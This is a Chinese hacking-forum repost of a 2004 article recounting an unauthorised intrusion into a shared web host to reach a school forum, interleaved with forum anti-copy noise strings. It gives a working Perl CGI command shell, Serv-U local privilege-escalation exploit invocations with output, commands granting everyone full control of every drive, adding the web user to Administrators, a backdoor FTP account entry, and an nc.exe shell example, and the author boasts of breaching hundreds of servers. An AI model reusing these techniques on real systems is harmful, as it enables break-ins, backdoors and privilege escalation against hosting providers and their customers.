找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1845|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 7 }- {* R& n/ ?) M( S" f
本文作者:angel8 n$ b- W6 G9 j
文章性质:原创1 K$ _+ h9 r& _8 G
发布日期:2004-11-09   y% k  t2 _. [; C  G& @
注意:
2 t% B7 G' r: C3 [1 a本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
9 J+ c# z3 V3 B/ p" M本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
! O0 x6 `7 [* D2 s/ Z1 j/ l* @
4 w5 [& a; L5 ?" h  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
# y: U' ^& ~1 K: X& K# _9 K7 a# |8 W$ Y6 F6 Z/ a
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
  Z9 m4 B5 L7 R9 g" ^& _$ l# g9 _; g
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
* e+ C2 n' ^& F5 u3 g+ z) c4 q6 p/ N
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 1 V' e+ G$ W: p: m' `/ n& Z
* B+ ?1 O4 k( F- W
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: e; t: o. Q# Q; w- a7 o: U
( ~( `) N( H8 W. D3 b1 n  没有目的的跳转目录着……
4 u+ t: q  ]" \* ~/ L
! B' i) z8 t) C) q2 A  s/ d5 L9 m  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
: V$ ^- h' F  g$ G* ?
4 ^9 A! g: ~3 E0 t& y, L0 r  结束了吗?不,我试着 FTP 一下:
3 N+ E& H' A  _' u3 @7 z6 f  [( f9 V- n4 i5 n8 c* Z9 v) m
Microsoft Windows 2000 [Version 5.00.2195]
6 b- ]% z4 @* {/ f% {4 ]" T(C) 版权所有 1985-2000 Microsoft Corp.
) F8 Y0 z7 R8 r- m. z5 O* v' ~  r3 B/ f  F1 i9 o; V
C:\Documents and Settings\Administrator>ftp www.school.com
4 q( L& F, R# Z: C6 ^; C7 pConnected to www. school.com.
  u4 {( h2 @8 r' i, R( a220 Welcome to FTP Server...
  R0 p: @8 n+ W* s& {- T3 e" DUser (www.bjtrq.com:(none)):
' q8 G4 |4 H- Q) C8 p331 User name okay, need password.
& c1 C1 b5 B6 U7 OPassword: ( z5 [# n1 j& ~' C4 }
530 Not logged in. & [; ~  i$ Z9 U0 j6 D* J
Login failed.
7 O- a  n: x3 Z2 g7 F  x3 ~2 T6 xftp> bye
* c0 [/ F$ R7 o* P  I( a9 O221 Goodbye! ; p4 {' Z* [( `

% z3 I, t' Y0 `$ `
: ^# ]$ x( n& Z7 z6 \% W% M  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 4 }6 Q7 ^4 ]$ S; A$ e  L1 O

4 z/ N. D1 [* [1 L- h7 W  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 + x" s1 F; l& X! o! b
6 T+ [# U% B) @1 q' ]
Application Data4 g$ Z' Q  v- m: p/ I0 u
Documents
9 T9 R! `* o; lDRM$ ]5 d# i% t0 F; o% R8 q. D
Favorites
/ M# S9 C: v2 m6 G" r7 _1 z) }2 Q( K0 h3 HTemplates
# w+ K6 _: U; `: G- {% ^「开始」菜单6 h! s: U+ w2 _4 B3 _% u6 n
桌面
( d2 `$ w/ j3 z, n* D
* {9 j& t/ A# {5 E3 E! \8 K# b
# e- n' J2 v4 e" ?/ F. g) n# x  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
4 N! h6 r2 k' E+ ^8 h, z) `: M  l4 a& n% w$ `' f. D
ActiveState ActivePerl 5.81 A# J( m5 p+ b7 M; g$ c% R4 k
Administrative Tools
$ U/ {7 j& T! c6 O' n0 J/ S6 `$ Q5 mDeerfield.com
- H: E6 j0 O" W4 KDTemp
6 B9 Q; m5 [0 B8 d! hIPSentry
: C( O8 g- G3 V* n9 Y. B  yMBM 5
1 @& H, ~/ ?2 g" X2 L; INetMeter* F: N* Q/ G7 `0 X2 Y$ O5 _
Network ICE5 g0 ~% B) j1 }0 y2 v! {! j( r
Persits Software AspEmail
5 T0 X: m& K8 cPersits Software AspJpeg
5 e. N, ^8 F# U5 bServ-U FTP Server7 ~: Y! A& M8 C, q. x& Y
Symantec Client Security
% ]$ P% O' o6 ^Windows 优化大师
/ c) s) A" \9 H$ zWinRAR: ~' Q9 F; }9 h4 Z4 _* _
启动$ U! C+ ?+ A5 L! k" I
管理工具4 O) B. f6 h. t
附件
$ J; m6 S( P$ }3 M- N. K% V5 H4 U
* X3 v, U4 F( J# A5 |5 q' m* V; h5 |. }; o
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 6 O) u# P7 d% m1 }6 _! ^
! C; _+ y6 }  O/ C- V- r. L
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 3 Z0 }4 o6 v; B
7 Y6 {7 r) [# ~' a/ F! H
User281=angel|1|0
0 w9 |$ `7 e6 A. L& e) A$ M1 J
0 W: c6 M  t9 e8 X: x" `& A& D5 K3 W% }# G4 z" K: G
  然后加上
9 U3 O8 h8 L  z- d$ f0 _( X) _; S1 O; {  N. n) E, T9 ~4 ]
[USER=angel|1], F. ?& ^, k% L7 r' ^
Password=ng98F85379EA68DBF97BAADCA99B69B805
% ?" \- g5 W" S, QHomeDir=D:\websites
9 u; H" n1 d; L) ^. {RelPaths=1
7 U, B) {6 C( zTimeOut=6004 A& A3 e" B6 z. L) o1 X4 t
Maintenance=System; C( p' c9 z' W) ]
Access1=D:\websites|RWAMELCDP
6 X- U4 b! u& ]3 _SKEYValues=
* |' V# K5 P1 E" {$ p; F 5 x7 m( }2 X2 A' Y5 _9 z4 y8 w/ _

; L4 i! k. P" }. n& v: u6 W  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
! b3 t" L9 {; S  a+ p7 a7 l0 D7 _! V7 ?) G6 W$ a5 C0 B# X
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。   q6 I/ J4 Z0 y7 a

8 [9 q, O# l* e8 J" I0 I" f  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; y4 {* d- M; ?! `) @3 Y
& W1 f1 x. X' z# a( N' V+ d# J$ ~# Q
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
7 Z1 R0 |2 K8 V: P" |* i! S; C8 N
#!/usr/bin/perl
3 _9 r9 Z" B0 B8 @) j8 ]9 v5 z+ E, sbinmode(STDOUT);+ Y# M/ `1 I! L7 d
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
) d  ~$ u  P) l- I4 G3 j  _3 R4 n$_ = $ENV{QUERY_STRING};  m( W# y4 E8 a! z
s/%20/ /ig;
# b( `! f- h; l1 j, Q, Ls/%2f/\//ig;1 }4 L( p+ p. V& |
$execthis = $_;
" N$ u( A3 J+ V3 E4 Osyswrite(STDOUT, "<HTML><PRE>\r\n", 13);4 g& s+ g; c% M# w) A1 }( u; q
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
6 b2 C: r; ~" Bsystem($execthis);2 v. ~$ K5 E: n' Y
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);. v/ K( T8 h6 a( T! R
close(STDERR);/ d( Z6 E( p: E: V5 Z
close(STDOUT);
# }. g% M" Z( O2 A  y$ wexit;8 C6 V- k/ t. k* ^8 s* V
0 W% t3 W; e7 E; Y- X' ^2 H
: V, l& n1 m3 C8 b: f9 I
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 7 t2 k9 Q6 I2 F
2 V1 U7 [9 v$ u: L! ?) ], x" g9 W
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 G6 L3 {$ S  N6 q
9 g$ g) l) B& E- S5 m7 Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe " {: c# v! \9 i4 y. E4 P/ }
2 y2 I  J; \. v% I2 v2 Y: G
% R0 }& p% G" P1 G" Q# @* e2 z
  返回: 2 g: g; o- a0 j* o  m  t
+ V' d9 y- i4 `
Serv-u >3.x Local Exploit by xiaolu ' i& S8 R# b' @" Z0 F) w, S

7 ?9 h2 w6 r) C& lUSAGE: serv-u.exe "command"
& W- Q1 C6 _" R5 [. C, r+ L6 L+ |% e% F
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ) N  L0 S( t7 k/ E

# l+ e( q' }3 i+ }. f* X$ A) [' E, B5 U  N
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
+ g* v/ |" ?' l# p# W( O, x2 s2 y: R! m0 I8 h
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 5 E0 U, Q$ `( q. u; q4 `: h+ w0 k

* R' \* i; c) s7 D4 M+ b( T1 |http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ( r6 `% x" t5 w: M- S$ W) M) U
4 V/ O. N+ U: l8 a1 @( \8 q8 x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
2 u  q" U3 f& V. G2 h% y5 o# F" E6 Z0 r# S8 [: P- V: p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
3 C5 O+ a% n: L# A; D" _9 v/ s
' g0 G6 f- E+ ^* @% ]& ~" _2 F
5 z* {3 I/ v: P  Q  返回下面的信息,就表示成功了!!! / C# E" m) V! R4 n
  i# O% J. X5 r: Y
Serv-u >3.x Local Exploit by xiaolu
) K4 ^; U  g% V& K7 ]) k4 O: N( o
0 X0 }, e: j* a4 b<220 Serv-U FTP Server v5.2 for WinSock ready... ; k( Z9 S* E( M
+ q+ _: J" ?5 ?4 h' [- N
>USER LocalAdministrator
4 X1 s+ Q  `/ g/ D: C5 F* t' C
8 N, ^* T' P9 _" b( g0 v<331 User name okay, need password.
5 Y7 x" ?9 ~) `& T. ~' J/ v5 {3 B' |0 c& a% N1 X0 R
******************************************************
7 m& @1 f  ^) D: [0 s5 V2 I) l& b0 o) V# h0 ?2 c8 N. Y5 p0 t
>PASS #l@$ak#.lk;0@P ; C3 h/ r7 s* U

7 r  A: V1 y! G" V9 D2 o2 d" m<230 User logged in, proceed. ) a- e4 _, U0 P6 y. f

2 G" x) ^3 _% l0 N, O0 U( b******************************************************
! B. g& U: _7 K/ \; x7 v* V1 ]: e2 C* ?5 e' Y9 c5 Z4 T
>SITE MAINTENANCE 8 H% N, R5 W, ~# U& b
: Y0 t) O* D# O
****************************************************** & Q8 `1 ~2 o7 ?

+ J% E1 B. m; H[+] Creating New Domain...
3 l0 z2 H& h) E6 o/ ^/ p1 `8 q& a: U  q
<200-DomainID=2
6 U1 J' |: }" j9 h8 E7 R3 V. q" E
<220 Domain settings saved 4 q/ P- n4 ~4 l& K  u# [

/ T" b3 d% U* P7 f/ A( Y6 n******************************************************
4 |$ A1 Z" U; y/ B& L
, U. }% T  }* Z' \) l" H4 d[+] Domain xl:2 Created
, K2 N( Z5 A0 i. l8 n2 F) v& Q3 v, W9 N
[+] Creating Evil User
5 O" J9 N7 h8 i" ?3 s" A
# A; ~% z0 K' ?" d<200-User=xl
+ O; a2 _7 r/ P, u( m0 u( i$ }2 b$ m3 z
200 User settings saved 7 Y& K' v6 M' l. R6 f& F- W
" G2 D0 v, U* C! n3 ]( `, J
******************************************************
% X9 z8 \! q7 H# U% O' I* i$ w- i! y2 G: B, X' ]5 o5 E, [2 l
[+] Now Exploiting... ! @3 ^# b  E- l" h
+ G5 p! z' G0 E/ P+ s0 ~: O% p
>USER xl * a9 l  }# x/ z8 P3 r3 {( t' I# w- P
: P6 l6 e& ?, ^( V6 b  S3 p
<331 User name okay, need password.
; ~) ]! E# x9 [* K. s2 {4 |- Z' ~- o% w
******************************************************
( p6 H. v5 d5 W0 G2 C; _5 [- r: t7 P9 f0 g  q9 D
>PASS 111111 0 ]4 K- U. x& l9 o! c
! p( k6 T4 t) g- @0 Z1 V9 p
<230 User logged in, proceed.
3 [- ~$ O7 ~8 M. G+ b% [  `& Q, ~9 U
******************************************************
5 }) M. R# u6 w: f4 y: |3 a; Y  Q
) Y- W) Q3 [; y: [[+] Now Executing: cacls.exe c: /E /T /G everyone:F
* }& s/ X. s! x. ?/ e
) D+ s1 U% E0 S0 P<220 Domain deleted 0 j  r+ H. u6 h& y  H
9 _: j: B8 M5 \+ j
******************************************************
. j, e, `- e0 N' \8 }2 J ' L6 ^0 a3 L; [

4 e6 N* X+ [. t  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: * L% T. x; ?+ x9 S+ h/ M
* o8 b: W. \2 o! w2 S( z7 ?# y# K
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
: _: p' r8 s: m; f& A $ v( p3 r- j9 P+ Y+ R, q" @

: {2 _7 c3 w8 Y! w& w3 z  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
: K9 S: [) h. o9 P3 K/ f! Q" k! c4 w8 h  A
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。( l6 P5 G& K# d: O

% o; y" |, j/ Q" A1 r. M  U  
( ]: l/ c+ X8 o: y0 ?' c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表